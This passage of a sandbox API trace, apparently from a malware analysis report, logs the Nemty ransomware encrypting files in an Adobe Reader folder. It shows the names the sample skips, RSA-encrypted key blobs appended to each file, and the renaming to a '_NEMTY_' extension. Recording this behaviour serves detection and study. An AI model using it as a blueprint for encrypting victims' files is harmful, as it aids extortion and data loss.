lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.325] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.CZE", cAlternateFileName="")) returned 1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2=".") returned 1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="..") returned 1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="...") returned 1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="windows") returned -1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="$RECYCLE.BIN") returned 1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="rsa") returned -1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="NTDETECT.COM") returned -1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="ntldr") returned -1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="MSDOS.SYS") returned 1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="IO.SYS") returned 1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="boot.ini") returned 1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="boot.ini") returned 1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="ntuser.dat") returned -1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="desktop.ini") returned 1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="CONFIG.SYS") returned 1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="RECYCLER") returned -1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="BOOTSECT.BAK") returned 1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="bootmgr") returned 1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="programdata") returned -1 [0170.325] lstrcmpiW (lpString1="nppdf32.CZE", lpString2="appdata") returned 1 [0170.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CZE", lpUsedDefaultChar=0x0) returned 11 [0170.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CZE", lpUsedDefaultChar=0x0) returned 11 [0170.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CZE", lpUsedDefaultChar=0x0) returned 11 [0170.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CZE", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CZE", lpUsedDefaultChar=0x0) returned 11 [0170.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.326] Sleep (dwMilliseconds=0x5) [0170.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x192c8a50, dwHighDateTime=0x1d561e8)) [0170.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x192c8a50, dwHighDateTime=0x1d561e8)) [0170.334] GetLastError () returned 0x0 [0170.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.334] GetLastError () returned 0x0 [0170.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.334] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.334] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.335] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.335] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="JS9OO+6AywGUoZ1J2g98W56cC8pPWxCiYdk3y0W8u6NXYYo/EzflQ/1lTzuEaH3Q\r\n6DNdhYw8A3ZeU61Ow6FdNAECIZAFMHS5jOrL0mm608v4ahtXiIYYtDHjqqRibGZx\r\n5UCs3xhBq70fUNdY/wWG7PgqCBDMT6uxrXFDp7pcUhlPN8Jv3gQVnAPlZAlWCvpu\r\nY6P2iT+zHAaOuBKKeClAfKLhavCHxo7f5NTUBWQKGAVcxVD9oNcPpLH9LhKqWtWv\r\nPcn6v4aCczc7/A22oZ81wlpxo5bTij5nnL6g3maZqUsK/zBGKch649zLHokUDCDX\r\npwPNmwNOGh52mzrImxFWSA==\r\n", pcchString=0x653e91c) returned 1 [0170.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.335] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.336] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.336] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.336] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.338] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.338] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.338] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.338] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.338] CloseHandle (hObject=0x254) returned 1 [0170.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.338] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.338] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.338] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.338] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cze._nemty_kgobjgd_")) returned 1 [0170.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.339] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.DAN", cAlternateFileName="")) returned 1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2=".") returned 1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="..") returned 1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="...") returned 1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="windows") returned -1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="$RECYCLE.BIN") returned 1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="rsa") returned -1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="NTDETECT.COM") returned -1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="ntldr") returned -1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="MSDOS.SYS") returned 1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="IO.SYS") returned 1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="boot.ini") returned 1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="boot.ini") returned 1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="ntuser.dat") returned -1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="desktop.ini") returned 1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="CONFIG.SYS") returned 1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="RECYCLER") returned -1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="BOOTSECT.BAK") returned 1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="bootmgr") returned 1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="programdata") returned -1 [0170.339] lstrcmpiW (lpString1="nppdf32.DAN", lpString2="appdata") returned 1 [0170.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DAN", lpUsedDefaultChar=0x0) returned 11 [0170.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DAN", lpUsedDefaultChar=0x0) returned 11 [0170.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DAN", lpUsedDefaultChar=0x0) returned 11 [0170.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.340] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DAN", lpUsedDefaultChar=0x0) returned 11 [0170.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.340] Sleep (dwMilliseconds=0x5) [0170.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x192eebb0, dwHighDateTime=0x1d561e8)) [0170.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x192eebb0, dwHighDateTime=0x1d561e8)) [0170.350] GetLastError () returned 0x0 [0170.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.350] GetLastError () returned 0x0 [0170.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.350] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.350] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.350] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.350] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="fTMnGEhclGno0hQ/uwd7RX/dnr+rtaUU7k5pmS+hQZ+hlyb8Ae2WPi/B5Dy6cioV\r\nR2bAQfWmmQkUI2aLlaVb3xU1w5sXP5kVJfCZdGsTLfO0GfLEfQEobWHx57t9VlO/\r\nMqPqRzVuL/PvJGYfmjbOgKPc1Jt5gusxanMKyU8tmSNLfQTV2WK3Exq0zno7uW1Q\r\nK0VEU2NxsynIU5KJi5s446caZc2dk90sYYlDrtpSTO8CrY36yw+Q8mX9cNwrk90h\r\nZp7AyUYQA+XNKw1M41VeBccpjY5KPOt2bgkUQ2JeolInZlcIcaEmML/zzhl7Cdk9\r\nJBgJHiZPY0hT3/UCmKekJQ==\r\n", pcchString=0x653e91c) returned 1 [0170.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.350] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.351] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.351] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.351] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.353] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.353] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.353] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.353] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.353] CloseHandle (hObject=0x254) returned 1 [0170.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.353] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.353] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.353] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.DAN" (normalized: 